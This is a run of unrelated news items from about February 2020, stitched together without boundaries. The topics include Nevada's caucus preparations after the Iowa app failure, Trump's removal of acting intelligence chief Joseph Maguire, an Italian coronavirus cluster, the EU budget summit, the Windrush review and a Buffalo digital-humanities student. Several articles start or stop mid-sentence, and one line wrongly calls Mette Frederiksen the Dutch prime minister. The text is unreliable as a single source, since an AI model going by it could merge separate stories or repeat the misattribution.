repeat the botched contest in Iowa, which kicked off presidential primary season earlier in the month. The state party said it will not use a mobile application that failed in Iowa, forcing a hand-count of votes and marring that state's reporting process for results. Instead of an app, Nevada's Democrats will use a "Caucus Calculator" tool to add up votes and combine Election Day ballots with votes cast at early voting sites. The Nevada caucuses started with four days of early voting between Feb. 15 and Feb. 18 at more than 80 sites across Nevada. Regular voting begins at noon local time Saturday at more than 250 locations. About 75,000 Nevadans have cast their ballots during early voting. The majority of early vote participants were first-time caucus participants. IPads and beefed-up call centers The party wrote in a memo distributed to the campaigns last week that the calculator will be user-friendly and only used on iPads purchased by the party and provided to trained precinct chairs. Unlike the app used in Iowa, the calculator tool will not require volunteers to download anything onto their personal devices. Voting will be reported via a "secure hotline" and verified using either paper sheets hand-delivered in a secure envelope or the calculator tool. A representative for Nevada Democrats told reporters Tuesday the Caucus Calculator is not new technology but is a tool they have used in the past that relies on a Google Sheets document tailored to the needs of the caucuses. The party has also contracted with a call center with 200 trained employees to process results when they come in, according to NBC News. In Iowa, calls were handled by volunteers, who were quickly overwhelmed. The party said the situation was exacerbated by trolls who apparently supported President Donald Trump calling the hotline. State and national Democrats say they are taking precautions to ensure that Nevada's caucuses go smoothly. "Nevada Democrats have learned important lessons from Iowa, and we're confident they're implementing these best practices into their preparations," Democratic National Committee communications director Xochitl Hinojosa said in a statement. "We've deployed staff to help them across the board, from technical assistance to volunteer recruitment." 'Feeling comfortable' in Nevada Campaign organizers and volunteers in Las Vegas have expressed optimism that Saturday will unfold at least better than Iowa's caucuses did. "I am feeling comfortable," said Donna West, the chair of the Clark County Democratic Party who will serve as a site lead on Saturday. She said she had been meeting with precinct chairs for a month and will be meeting with them again hours before the caucuses begin to walk through everything. Election experts caution that even the best-run caucuses sometimes run into trouble and that Nevada is in a particularly tough spot because the Iowa situation forced them to rethink their processes. "I will praise them if it's not worse than Iowa. I don't think it will be worse than Iowa," said Rebecca Gill, a political science professor at the University of Nevada Las Vegas. "But I would be surprised if it's seamless. It's a kind of complicated dance that they are just developing as they go." Attention was particularly focused on Nevada after the Iowa caucuses because the state had been expected to use the same malfunctioning app, manufactured by the progressive digital infrastructure agency Shadow, Inc. The Nevada Democratic Party paid Shadow nearly $60,000 last year. But the state party said a day after the caucuses in Iowa that it would not use the app, and the DNC vowed that the app would not be used "anywhere else during the primary election process." More scrutiny by federal officials The 7th annual Metastatic Breast Cancer Research Conference will be hosted by Huntsman Cancer Institute (HCI) at the University of Utah (U of U) in partnership with Baylor College of Medicine and Theresa's Research Foundation on September 10 and 11, 2020. Participants from around the world are invited to discuss metastatic breast cancer including ongoing research and new ideas from early career scientists. Conference attendees include clinicians, researchers, advocates, and patients who hope to share information and shed light on the need for improved research focus and funding toward metastatic breast cancer, also known as stage IV breast cancer. The 2020 conference will be held in Salt Lake City under the leadership of Alana Welm, PhD, breast cancer researcher at HCI and professor of oncological sciences at the U of U. "This is one of the most important conferences every year for those of us who focus on metastatic breast cancer research," says Welm. "The unique medley between state-of-the-art clinical and laboratory research, along with incorporation of important patient perspectives, makes it a stimulating and motivating experience for all of us." The conference will feature sessions on metastatic breast cancer therapy, predictive models, drug development, and more. Invited speakers from around the world will bring their knowledge and expertise to the conference and seek to inspire conversation and collaboration to new approaches to address this challenging disease. Daily keynote address will focus on systemic regulation of metastasis and immunotherapy. A cure for metastatic breast cancer requires a dedicated, long-term effort to find curative approaches. This conference helps to benchmark these efforts and create the collaborative research environment that is essential for success." Matthew Ellis, MB, BCHIR, BSC., PHD, FRCP , professor and director of the Lester and Sue Smith Breast Center at Baylor College of Medicine and Conference Co-Chair Abstract submissions are encouraged. Limited travel stipends are available for early career investigators who have an abstract accepted. The poster session will be held in partnership with the Metastasis Research Society and GRASP (Guiding Researchers and Advocates to Scientific Partnerships), so that scientists and advocates can view and discuss posters together. The Metastatic Breast Cancer Research Conference was established as a medical conference in 2014 by Theresa's Research Foundation. Past host institutions include Baylor College of Medicine, Johns Hopkins School of Medicine, the University of Kansas Medical Center, and the Mayo Clinic. The conference received philanthropic support from The Breast Cancer Research Foundation and Huntsman Cancer Foundation. A senior US intelligence official told lawmakers last week that Russia wants to see president Donald Trump re-elected, viewing his administration as more favourable to the Kremlin's interests, according to people who were briefed on the comments. After learning of that analysis, which was provided to House of Representatives lawmakers in a classified hearing, Mr Trump erupted at his acting director of national intelligence, Joseph Maguire, in the Oval Office, perceiving him and his staff as disloyal for speaking to congress about Russia's perceived preference. The intelligence official's analysis and Mr Trump's furious response ruined Mr Maguire's chances of becoming the permanent intelligence chief, according to people familiar with the matter, who, like others, spoke on the condition of anonymity to discuss a sensitive matter. It was not clear what specific steps, if any, US intelligence officials think Russia may have taken to help Mr Trump, according to the individuals. Mr Trump announced on Wednesday that he was replacing Mr Maguire with a vocal loyalist, Richard Grenell, who is the US ambassador to Germany. The shake-up at the top of the intelligence community is the latest in a post-impeachment purge. Mr Trump has instructed aides to identify and remove officials across the government who aren't defending his interests, and he wants them replaced with loyalists. Mr Maguire, a career official who is respected by the intelligence rank and file, had been considered a leading candidate to be nominated for the post of Director of National Intelligence (DNI), White House aides had said. But Mr Trump's opinion shifted last week when he heard from a GOP ally about the official's remarks. The Democrat challengers to Trump in 2020 Show all 25 1 /25 The Democrat challengers to Trump in 2020 The Democrat challengers to Trump in 2020 Bernie Sanders The Vermont senator has launched a second bid for president after losing out to Hilary Clinton in the 2016 Democratic primaries. He is running on a similar platform of democratic socialist reform Getty The Democrat challengers to Trump in 2020 Joe Biden The former vice president recently faced scrutiny for inappropriate touching of women, but was thought to deal with the criticism well and has since maintained a front runner status in national polling EPA The Democrat challengers to Trump in 2020 Elizabeth Warren The Massachusetts senator is a progressive Democrat, and a major supporter of regulating Wall Street Reuters The Democrat challengers to Trump in 2020 Amy Klobuchar Klobuchar is a Minnesota senator who earned praise for her contribution to the Brett Kavanaugh hearings Getty The Democrat challengers to Trump in 2020 Michael Bloomberg Michael Bloomberg, a late addition to the 2020 race, announced his candidacy after months of speculation in November. He has launched a massive ad-buying campaign and issued an apology for the controversial "stop and frisk" programme that adversely impacted minority communities in New York City when he was mayor Getty Images The Democrat challengers to Trump in 2020 Tulsi Gabbard The Hawaii congresswoman announced her candidacy in January, but has faced tough questions on her past comments on LGBT+ rights and her stance on Syrian President Bashar al-Assad Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Pete Buttigieg The centrist Indiana mayor and war veteran would be the first openly LGBT+ president in American history Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Deval Patrick The former Massachusetts governor launched a late 2020 candidacy and received very little reception. With just a few short months until the first voters flock to the polls, the former governor is running as a centrist and believes he can unite the party's various voting blocs AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Beto O'Rourke The former Texas congressman formally launched his bid for the presidency in March. He ran on a progressive platform, stating that the US is driven by "gross differences in opportunity and outcome" AP The Democrat challengers to Trump in 2020 DROPPED OUT: Kamala Harris The former California attorney general was introduced to the national stage during Jeff Sessions testimony. She has endorsed Medicare-for-all and proposed a major tax-credit for the middle class AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Bill De Blasio The New York mayor announced his bid on 16 May 2019. He emerged in 2013 as a leading voice in the left wing of his party but struggled to build a national profile and has suffered a number of political setbacks in his time as mayor AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Steve Bullock The Montana governor announced his bid on 14 May. He stated "We need to defeat Donald Trump in 2020 and defeat the corrupt system that lets campaign money drown out the people's voice, so we can finally make good on the promise of a fair shot for everyone." He also highlighted the fact that he won the governor's seat in a red [Republican] state Reuters The Democrat challengers to Trump in 2020 DROPPED OUT: Cory Booker The New Jersey Senator has focused on restoring kindness and civility in American politics throughout his campaign, though he has failed to secure the same level of support and fundraising as several other senators running for the White House in 2020 Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Wayne Messam Mayor of the city of Miramar in the Miami metropolitan area, Wayne Messam said he intended to run on a progressive platform against the "broken" federal government. He favours gun regulations and was a signatory to a letter from some 400 mayors condemning President Trump's withdrawal from the Paris Climate Accord Vice News The Democrat challengers to Trump in 2020 DROPPED OUT: Kirsten Gillibrand The New York Senator formally announced her presidential bid in January, saying that healthcare should be a right, not a privilege Getty The Democrat challengers to Trump in 2020 DROPPED OUT: John Delaney The Maryland congressman was the first to launch his bid for presidency, making the announcement in 2017 AP The Democrat challengers to Trump in 2020 DROPPED OUT: Andrew Yang The entrepreneur announced his presidential candidacy by pledging that he would introduce a universal basic income of $1,000 a month to every American over the age of 18 Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Julian Castro The former San Antonio mayor announced his candidacy in January and said that his running has a special meaning for the Latino community in the US Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Marianne Williamson The author and spiritual adviser has announced her intention to run for president. She had previously run for congress as an independent in 2014 but was unsuccessful Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Eric Swalwell One of the younger candidates, Swalwell has served on multiple committees in the House of Representatives. He intended to make gun control central to his campaign but dropped out after his team said it was clear there was no path to victory Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Seth Moulton A Massachusetts congressman, Moulton is a former US soldier who is best known for trying to stop Nancy Pelosi from becoming speaker of the house. He dropped out of the race after not polling well in key states Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Jay Inslee Inslee has been governor of Washington since 2013. His bid was centred around climate change AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: John Hickenlooper The former governor of Colorado aimed to sell himself as an effective leader who was open to compromise, but failed to make a splash on the national stage Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Tim Ryan Ohio representative Tim Ryan ran on a campaign that hinged on his working class roots, though his messaging did not appear to resonate with voters Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Tom Steyer Democratic presidential hopeful billionaire and philanthropist Tom Steyer is a longtime Democratic donor AFP/Getty The official, Shelby Pierson, said several times during the briefing that Russia had developed a preference for Mr Trump, according to a US official familiar with her comments. That conclusion was part of a broader discussion on election security that also touched on when the US government should warn Democratic candidates that they were being targeted by foreign governments. The New York Times first reported on the conclusion that Russia wants to help the president in 2020. Mr Trump erroneously believed that Ms Pierson had given the assessment exclusively to Representative Adam Schiff, Democrat for California, the committee chairman, people familiar with the matter said. Mr Trump also believed that the information would be helpful to Democrats if it were released publicly, the people said. Representative Schiff was the lead impeachment manager, or prosecutor, during Mr Trump's senate trial on charges of abuse of power and obstruction of congress. Mr Trump learned about Ms Pierson's remarks from Representative Devin Nunes, Republican for California, the committee's ranking member and a staunch Trump ally, said one person familiar with the matter. Mr Trump's suspicions of the intelligence community have often been fuelled by Mr Nunes, who was with the president in California on Wednesday when he announced on Twitter that Mr Grenell would become the acting director, officials said. A spokesman for Mr Nunes did not respond to requests for comment. Members on both sides participated, including ranking member Nunes, and heard the exact same briefing from experts across the intelligence community, the committee official said. No special or separate briefing was provided to one side or to any single member, including the chairman. The briefing, which was offered to all members of the committee, covered election security and foreign interference in the run-up to the 2020 election, said the committee official. Other people familiar with the briefing described it as a contentious re-litigating of a previous intelligence assessment that Russia interfered in 2016 to help Mr Trump. Republican members questioned why the Russians would want to help Mr Trump when he has levied punishing sanctions on the country, and they challenged Ms Pierson to back up her claim with evidence. It's unclear how she responded. Republicans on the committee also accused some of the briefers from other agencies of being part of an effort to sabotage Mr Trump's reelection, these people said. Donald Trump shakes hands with Russian president Vladimir Putin during a bilateral meeting on the sidelines of the G-20 summit in Osaka, Japan 28 June 2019 (Susan Walsh/AP) Mr Trump became angry with Mr Maguire and blamed him for Ms Pierson's remarks when the two met the next day during a special briefing for Mr Trump on election security attended by officials from other agencies, but not Ms Pierson. At that briefing, Mr Trump angrily asked Mr Maguire why he had to learn of what Ms Pierson had said from Mr Nunes and not from his own aides, according to the US official. There was a dressing down of Mr Maguire, said another individual, who, like others, spoke on the condition of anonymity to discuss a sensitive matter. That was the catalyst that led to the sidelining of Mr Maguire in favor of Mr Grenell, the person said. Mr Maguire came away despondent, said another individual. A spokeswoman for the Office of the Director of National Intelligence declined to comment. The White House did not comment on Mr Trump's Oval Office comments to Mr Maguire. Mr Trump's removal of Maguire exacerbated long-standing tensions between intelligence officials and the president. Intelligence leaders have long been some of Mr Trump's favourite targets on Twitter and at campaign rallies, where he portrays them as members of a deep state bent on sabotaging his re-election. But officials at the agencies insist they have carried on the tradition of providing the president and his top aides with unvarnished information not infected by politics or policy agendas. Mr Grenell has no lengthy intelligence experience. But his history of pro-Trump tweets and his personal relationships with Mr Trump's children has caused current and former officials to doubt whether he could credibly serve as the country's top intelligence official, which they said Mr Maguire did, despite having spent his career in the military. White House officials said that Mr Trump's decision to make Mr Grenell the acting director, rather than nominate him for the permanent position, reflected concerns that he might not win confirmation in the senate given his polarising reputation. The president likes acting [officials] better, one White House official said. On Thursday, Mr Grenell said in a tweet that the president would nominate a permanent Director of National Intelligence (DNI) soon and that it would not be him. A senior White House official said a nominee would be announced before 11 March. The president has been focused lately on officials who are allegedly disloyal to him, particularly at the Justice Department, the National Security Council, the Pentagon and the State Department, aides said, and has heard from outside advisers that real MAGA people can't get jobs in the administration, in the words of an administration official, referring to Mr Trump's 2016 campaign slogan, Make America Great Again. Mr Trump has centralised his efforts to purge the ranks of his perceived opponents. In recent weeks, he pushed out Sean Doocey, the head of the White House Presidential Personnel Office, over the fierce objections of some White House aides, replacing him with Johnny McEntee, Mr Trump's former personal assistant. Mr Trump has instructed McEntee, who lost his job in 2018 over concerns about his online gambling, to install more loyalists in government positions. Some of those removed from their jobs testified about the president's actions toward Ukraine during his impeachment hearings. Acting national intelligence director Joseph Maguire who is to be replaced by Trump loyalist Richard Grenell (Matt McClain/The Washington Post) Mr Trump removed Lt Col Alexander Vindman, as well as Mr Vindman's twin brother, who did not testify, from their positions at the National Security Council. Lt Col Vindman witnessed a phone call Mr Trump had with Ukraine's president, in which he pressured the leader to conduct investigations of Mr Trump's Democratic rivals. Mr Trump asked for the resignation of Gordon Sondland, the ambassador to the European Union, who told House lawmakers that the president had engineered a quid pro quo with Ukraine, conditioning a White House meeting with the country's president on investigations of former vice president Joe Biden and his son Hunter. This week, Mr Trump also asked for the resignation of John C Rood, the official in charge of Defence Department policy who had certified that Ukraine had met its anti-corruption obligations required by law to receive US aid that Mr Trump froze. The deputy national security adviser, Victoria Coates, has also been removed from her post after some colleagues, including trade adviser Peter Navarro, accused her of being the author of Anonymous, a scathing account of dysfunction in the White House, according to people familiar with the matter. Ms Coates has strenuously denied the charge. She was moved to an adviser position in the Energy Department. By contrast, Mr Grenell appears to be an ideal presidential appointee. Mr Trump appreciates that he publicly bashes Germany over policy disagreements. He also defends the president on Fox News and on Twitter, and when he visits the White House for meetings, Mr Trump usually wants to see him, current and former administration officials say. As acting DNI, Mr Grenell would oversee the intelligence community's efforts to combat election interference and disinformation, but he has been skeptical of Russia's role in 2016. Russian or Russian-approved tactics like cyber warfare and campaigns of misinformation have been happening for decades, he wrote in a 2016 opinion article for Fox News, playing down the severity of the threat. That view is at odds with the conclusions of senior US intelligence officials, who have said Russia's operation in 2016 was sweeping and systematic, and unlike previous Russian or Soviet efforts. A person wearing a sanitary mask walks a dog in the centre of Codogno, near Lodi in northern Italy (Luca Bruno/AP) Italian authorities said the number of people infected with the new coronavirus from China has more than quadrupled due to an emerging cluster of cases in the countrys north. Many of the new cases represented the first infections in Italy acquired through secondary contagion and brought the countrys total to 17. The first to fall ill in northern Italy met with someone who had returned from China on January 21 without presenting any symptoms of the new virus, called Covid-19, health authorities said. The 38-year-old Italian man is in hospital in the northern town of Codogno in a critical condition. A woman walks in the centre of Codogno, near Lodi, in northern Italy (Luca Bruno/AP) The mans wife and a friend of his also tested positive for the virus. Three patients at the hospital where he went with flu-like symptoms a few days ago also have infections. Five nurses and doctors contracted the virus as well. Italian health minister Roberto Speranza said Italy is now seeing the same sort of cluster of cases that Germany and France have seen. The mayor of Codogno has issued a decree ordering the closure of all restaurants, coffee bars, schools and public gathering spots such as discos and gyms. A nurse carries a box into the hospital in Codogno (Luca Bruno/AP) The Health Ministry advised area residents to stay home as a precaution. Local officials in another town, Casalpusterlengo, ordered local schools closed until Tuesday. A third town, Castiglione dAdda, said its libraries, public offices, gyms and waste depots would be closed as a health precaution. In other parts of the world, and also in China, it has been demonstrated that this system (of self-isolation) helps in a substantial way to block the spread, Lombardy regional president Attilio Fontana said. But we must not let ourselves be overcome by panic. Personnel bring new beds to the hospital (Luca Bruno/AP) The Codogno hospital closed its emergency room, and staff were seen wearing masks as movers brought in new beds and furniture as the quarantine got under way. Despite the calls for safeguards, Italians were having a hard time finding protective face masks. A sampling of Milan pharmacies reported selling out weeks ago, as did a pharmacist in Codogno. Syracuse, N.Y. Dia Carabajal, a former Auburn city councilor and community college professor, is running as a Democrat for the 126th Assembly District, according to a local Democratic Committee official. Carabajal served on the Auburn City Council and served two terms on the Auburn Board of Education. In November, Carabajal lost her bid for a second four-year term on the Auburn City Council. Shes also a delegate candidate for former Vice President Joe Biden in the New York presidential primary. Onondaga County Democratic Committee Chairwoman Pam Hunter confirmed Carabajal is the only party member who has sought the designation. Assemblyman Gary Finch, R-Springport, has represented the district for two decades. He announced in early February he would not seek re-election. That prompted half a dozen Republicans to express interest in the seat. The district spans four counties (Onondaga, Chenango, Cortland and Cayuga) and includes the city of Auburn and a large portion of western Onondaga County. That means multiple GOP committees have yet to make their pick. So far, former Onondaga County Legislator Mike Plochocki has won the Republican designation from the Cortland County committee. Ken Bush III has won the designation from the Conservative Party committees in Onondaga and Cayuga counties. The Cayuga GOP committee is expected to make a decision later today. The Onondaga County Republicans meet Saturday, and Chenango is expected to decide on Monday, Plochocki said. Candidates can start passing petitions Feb. 25. The position is a two-year term that pays $110,000 in 2020. Got a story idea or news tip youd like to share? Please contact me through email, Twitter, Facebook or at 315-470-2274. Thanks for visiting Syracuse.com. Quality local journalism has never been more important, and your subscription matters. Not a subscriber yet? Please consider supporting our work. The ruling New Patriotic Party [NPP] Chairman of Bono Region, Kwame Baffoe aka Abronye DC has called on the Vice President, His Excellency Dr. Mahamadu Bawumia, to with immediate effect Direct the Driver and Vehicle Licensing Authority (DVLA) to goes into digitize or Electronic sticker on the issuances of DV or DP plate. In a petition issued on 12th February, 2020, Abronye DC appealed to Dr. Bawumia to make the electronic sticker introduced by DVLA on DV OR DP Plates operationalize as he has done in other institutions. I, Kwame Baffoe Abronye, the undersigned petitioner is a citizen of the Republic of Ghana and do hereby petition your outfit as follows That DVLA is a body recognized by law to issue DV or DP PLATES on newly imported cars into the country, portion of the petition read. Read full petition below; 12/02/2020 Kwame baffoe Abronye Box 2191, Sunyani 0208081484 TO, THE VICE PRESIDENT, HIS EXCELLENCY DR MAHAMADU BAWUMIA REPUBLIC OF GHANA. JUBILEE HOUSE, ACCRA PETITION TO YOUR HIGH OFFICE TO DIRECT DVLA TO GOES INTO DIGITIZE OR ELECTRONIC STICKER ON THE ISSUANCE OF DV OR DP PLATE. I, Kwame Baffoe Abronye, the undersigned petitioner is a citizen of the Republic of Ghana and do hereby petition your outfit as follows. 1. That DVLA is a body recognized by law to issue DV or DP PLATES on newly imported cars into the country. 2. That DVLA has been issuing DV or DP PLATES for some decades now. 3. That DVLA is supposed to generate more revenue on the issuance of DV OR DP PLATES for the government of Ghana. 4. That the revenue government of Ghana is supposed to get from DVLA on this exercise is not forthcoming. 5. That, there have been fraudulent activities on or by those who have been granted license to issue DV or DP PLATES on behalf of DVLA over the years and this has created so many leakages of revenue. 6. That, to buttress my point in the preceding paragraph, the total number of DV OR DP PLATES sold in the whole of 2019 was 16, 000. 7. That records available shows that, DVLA registered over 80, 000 cars in 2019, an indication that 54, 000 cars did not receive DV OR DP plates but were able to passed through the system. 8. That DVLA recentlyintroduced high security and digitized trade licensing sticker as a test. 9. That between 2nd January 2020 to 15th January 2020, total of 23, 000 digitized sticker were sold within that two weeks period, comparing to 16, 000 plates that were sold the whole of 2019. 10. That this was enough evidence that the old system was flawed. 11. That the cartel or mafia group who have been benefiting from the old system have vowed to make sure the electronic or digitized sticker introduced this year is revised to the old system. 12. That the introduction of the electronic sticker has blocked all revenue leakages. 13. That, I humbly appeal to your high office to make the electronic sticker introduced by DVLA on DV OR DP Plates operationalize like you have done in other institutions. Yours faithfully Kwame Baffoe Abronye BONO REGION, NPP Cc THE CHIEF EXECUTIVE OFFICER , DVLA, ACCRA Source: Peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video T he European Union's latest budget summit ended without a deal after 28 hours of talks. Leaders in attendance could not could not find a compromise after a half dozen wealthy member states insisted they would not stump up more funds for the bloc's next long-term spending package. The package being touted was worth around one trillion euros. EU Council President Charles Michel said: "Unfortunately today, we have observed it was not not possible to reach an agreement." He added that "we need more time". Mr Michel spent much of Thursday night locked in one-to-ine talks with leaders, including Chancellor Angela Merkel and Emmanuel Macron, in a bid to end the impasse over the 2021-27 spending plans, the Financial Times reported. Discussions have allegedly thrown up rifts around how to fill the 60-75 billion funding deficit left by Brexit. Dutch prime minister Mette Frederiksen summed up the mood of pessimism on Friday morning, indicating another summit would "probably" be needed. Ministers have been warned not to water down a review into the Windrush scandal after it was reported a portion branding the Home Office institutionally racist had been stripped out. The delayed independent review was commissioned after people who had lived for decades in the UK and were entitled to be here were wrongfully detained or deported to the Caribbean. The Times reported sources saying the phrase institutionally racist was included in an earlier draft of the Windrush review led by inspector of constabulary Wendy Williams but it had subsequently been removed. Labour MP David Lammy, a vocal campaigner over the scandal caused by the departments hostile environment policy, demanded that the truth must be published in full. The Windrush scandal resulted in the systematic deportation and detention of black British citizens by the UK Home Office, the Tottenham MP said. Windrush generation: threat of deportation from UK Show all 15 1 /15 Windrush generation: threat of deportation from UK Windrush generation: threat of deportation from UK The ex-troopship 'Empire Windrush' arriving at Tilbury Docks from Jamaica, with 482 Jamaicans on board, emigrating to Britain. Getty Windrush generation: threat of deportation from UK Jamaican immigrants being welcomed by RAF officials from the Colonial Office after the ex-troopship 'Empire Windrush' landed them at Tilbury. PA Windrush generation: threat of deportation from UK Alford Gardner who arrived in Britain in 1948 on the first Windrush ship to dock in Tilbury, Essex, speaking at his home in Leeds PA Windrush generation: threat of deportation from UK Alford Gardner in Leeds shortly after he arrived in Britain in 1948 on the first Windrush ship to dock in Tilbury, Essex PA Windrush generation: threat of deportation from UK Gardner was 22 years old when he boarded the ship in Kingston, Jamaica, with his brother Gladstone before they and hundreds of Caribbean migrants called on to rebuild post-war Britain disembarked the ship in Tilbury Docks PA Windrush generation: threat of deportation from UK Alford Gardner (right), during his RAF service in 1947 PA Windrush generation: threat of deportation from UK The son of Ruth Williams, a Windrush-generation immigrant, wants to the leave the country after threats of deportation. According to his mother, Mr Haynes applied for British citizenship in 2016 but was rejected, despite Ms Williams having lived in the UK almost permanently since arriving from St Vincent and the Grenadines in 1959. Ruth Williams, 75, said she felt "betrayed" by Britain after the Home Office twice turned down applications for her 35-year-old son, Mozi Haynes, to remain in the country. Ms Williams is understood to have cancer and said she relies heavily on her son for support. PA Windrush generation: threat of deportation from UK The British liner 'Empire Windrush' at port in 1954. Getty Windrush generation: threat of deportation from UK Ruth Williams, 75, with her British passport. "I feel betrayed and a second class citizen in my own country," she said. "This makes me so sad and the Home Office must show some compassion. "I am unwell and almost 75, I live on my own and I need my son to stay here. I need my family around me and I cant face being alone. He has applied to the Home Office and been refused twice." PA Windrush generation: threat of deportation from UK From the top, hopeful Jamaican boxers Charles Smith, Ten Ansel, Essi Reid, John Hazel, Boy Solas and manager Mortimer Martin arrive at Tilbury on the Empire Windrush in the hope of finding work in Britain. Getty Windrush generation: threat of deportation from UK Jamaicans reading a newspaper whilst on board the ex-troopship 'Empire Windrush' bound for Tilbury docks in Essex. Getty Windrush generation: threat of deportation from UK After half a century in Britain, Anthony Bryan decided it was time to go abroad. But the decision set off a nightmare that saw him lose his job, detained twice and almost deported to Jamaica. AFP/Getty Windrush generation: threat of deportation from UK Jamaica-born Anthony Bryan poses outside his home in Edmonton, north London. Now 60 and a grandfather, Bryan thought the issue could be resolved swiftly, as he legally moved to Britain with his family as part of the Windrush generation of Caribbean migrants after World War II. In 1948, the ship Windrush brought the first group of migrants from the West Indies to help rebuild post-war Britain, and many others followed from around the Commonwealth. A 1971 law gave them indefinite leave to remain, but many never formalised their status, often because they were children who came over on their parents' passports and then never applied for their own. AFP/Getty Windrush generation: threat of deportation from UK Three Jamaican immigrants (left to right) John Hazel, a 21-year-old boxer, Harold Wilmot, 32, and John Richards, a 22-year-old carpenter, arriving at Tilbury on board the ex-troopship 'Empire Windrush', smartly dressed in zoot suits and trilby hats. Getty Windrush generation: threat of deportation from UK Newly arrived Jamaican immigrants on board the 'Empire Windrush' at Tilbury in 1948. Getty The victims nationality and rights were denied because of the colour of their skin. If this is not institutionally racist I have no idea what is. It would be an outrage and an insult to the Windrush generation for Wendy Williamss independent review to be watered down for political reasons. Yvette Cooper, the Labour chair of the Home Affairs Committee, tweeted: The Wendy Williams review into Windrush was supposed to be independent. Its one thing for Home Office to check facts. But it wd be completely unacceptable for Home Office to try to water down reviews conclusions and judgements about what went wrong. The Home Office did not deny the report had been toned down. This is an independent review being led by Wendy Williams, a spokesperson said. She has not yet submitted the final report to the Home Office. Once we have received it, we will publish it as soon as practicable. Ministers have not seen any version of the report. Sir David Normington, a former Home Office permanent secretary from 2006 to 2011, said he was surprised to see reports that the department was institutionally racist but admitted it faced challenges to ensure everyone was treated fairly. He told BBC Radio 4s Today programme: Of course that [the Windrush scandal] was a terrible set of cases, which had terrible impacts on individuals. As I say, certainly in my time, the Home Office that I led was not institutionally racist. Asked if there was an issue with handling of cases being rushed, he said: I think one of the issues about the Home Office is it deals with hundreds of thousands of cases and to make sure that you treat every individual fairly in that kind of system is difficult. Campus News Student takes lead role in expanding digital humanities at UB Shaun Nowicki, a master's student in English, has learned XML coding in order to transcribe historical documents from pamphlets on the Great Plague to 300-year-old family cookbooks to universally accessible electronic files. Photo: Douglas Levere By CHARLES ANZALONE Bringing these to a digital medium allows more people to enjoy them. Plays, recipe books, journals. It gives us a connection to the past I think is really necessary in understanding how our own world works. Bringing these to a digital medium allows more people to enjoy them. Plays, recipe books, journals. It gives us a connection to the past I think is really necessary in understanding how our own world works. I can look at these texts at a different level, says Nowicki. Not only on the level of meaning reading a Shakespeare play and what it can say about the human condition but also looking at how the book is put together, the pages, the book itself, and what that means. But how did a former editor of his high school poetry magazine in nearby Hamburg become someone who uses technology to increase the accessibility of obscure historical works further than scholars a few decades ago would have ever dreamed? Bringing with him a long-standing interest in poetry, Nowicki has uploaded a new ability to transcribe historical documents from pamphlets on the Great Plague to 300-year-old family cookbooks to universally accessible electronic files. With that introduction, meet Shaun Nowicki, a second-year masters candidate in the Department of English who, in his unassuming way, is a driving force in the expanding UB world of digital humanities. One website calls digital humanities a revolutionary humanities education, praising those initiated in the sub-culture of digital editing for their pioneering effort. Navigating the world of digital editing First, a few words on digital editing, both what it is and how Nowicki became what a faculty mentor called a student trailblazer. Nowickis path started quietly enough. Following his passion for poetics, Nowicki came across the Marianne Moore Digital Archive, curated in UBs Department of English and devoted to making the notebooks of the early 20th century poet readily available to the public. The project needed someone to code elements to preserve their collection and allow more people to see it. Nowicki applied, and to his surprise was accepted. He soon was learning how to translate a document to a computer file using a relatively straightforward markup language, or coding system called XML. He took part in a seminar presented by the Folger Shakespeare Library about encoding Renaissance literature. He started examining texts 400 to 500 years old, becoming the instrument that made them available to researchers today. Nowhere are the possibilities of digital editing more clear than the Marianne Moore Digital Archive, a project curated by Cristanne Miller, SUNY Distinguished Professor and founder and director of the archive. What this does for Marianne Moore is it makes accessible to the world material that has never been published and otherwise is virtually inaccessible, says Miller. Marianne Moore kept 122 notebooks on just about everything she was doing in her life. Conversations she overheard. What she was reading. Drafts of poetry. Lectures. Whatever interested her in any way, she wrote down in these notebooks. Before the Marianne Moore Digital Archive, these notebooks were available for viewing in a Philadelphia museum only 18 hours a week. So if you are a scholar in France, Sweden or Israel and wanted to see archival material, you could fly to Philadelphia, but you could only see the material 18 hours a week, Miller says. Otherwise, you are twiddling your thumbs, waiting for the next time you could be able to get in. Digital editing turned the world of Marianne Moore documents on its head. The Marianne Moore Digital Archive has permission to publish all that original material electronically. So thats what were doing, Miller says. The next step in this humanities revolution is the work itself. Someone has to transcribe original documents to universally available computer files, and its more than mere copying words into a computer file. Thats where Nowicki comes in. Nowicki was like a digital humanities Pied Piper. He was instrumental in creating the collaborative environment that helps foster success for later additions to the team, according to Nikolaus Wasmoen, visiting assistant professor in the Department of English who has worked closely with Nowicki. Shaun stands out to me for not only his skills and understanding of the critical issues at stake in our digital editing project, says Wasmoen, but also for his enthusiasm and effort to help promote the project and to help introduce other students to this exciting, though challenging, and often misunderstood work. A scholarly door opened for Nowicki when he learned to code. Basically, it has to do with replicating what the page looks like, Nowicki says. You are telling a computer how to display things. There is a whole handbook for encoding standards for XML, basically saying, Do you need to display something? So anything else I dont know I look up. In the 18 months since he started learning code, Nowicki has seen more than a few digital editing sights. The material often more closely resembles something out of the Da Vinci Code than merely copying words. Thats the thing about digital editing: Theres a clear sense of mystery, intrigue and discovery. You have to look at the page, every page as a sort of holistic grouping, like a piece of art itself, Nowicki says. And you are trying to reproduce it as close as you can. One of his recent digital editing projects centers on The Wonderful Year, a pamphlet about the plague written and published in 1609-10 by the British playwright Thomas Dekker. Theres a possibility Dekker and Shakespeare would have known each other, and maybe even collaborated, says Nowicki. In 2015, amid a wave of sex abuse lawsuits, the Archdiocese of St. Paul and Minneapolis filed for federal bankruptcy protection. Amid the financial wrangling that came with the move, the bankruptcy court ordered the archdiocese to release all of its secret archives on predator priests. 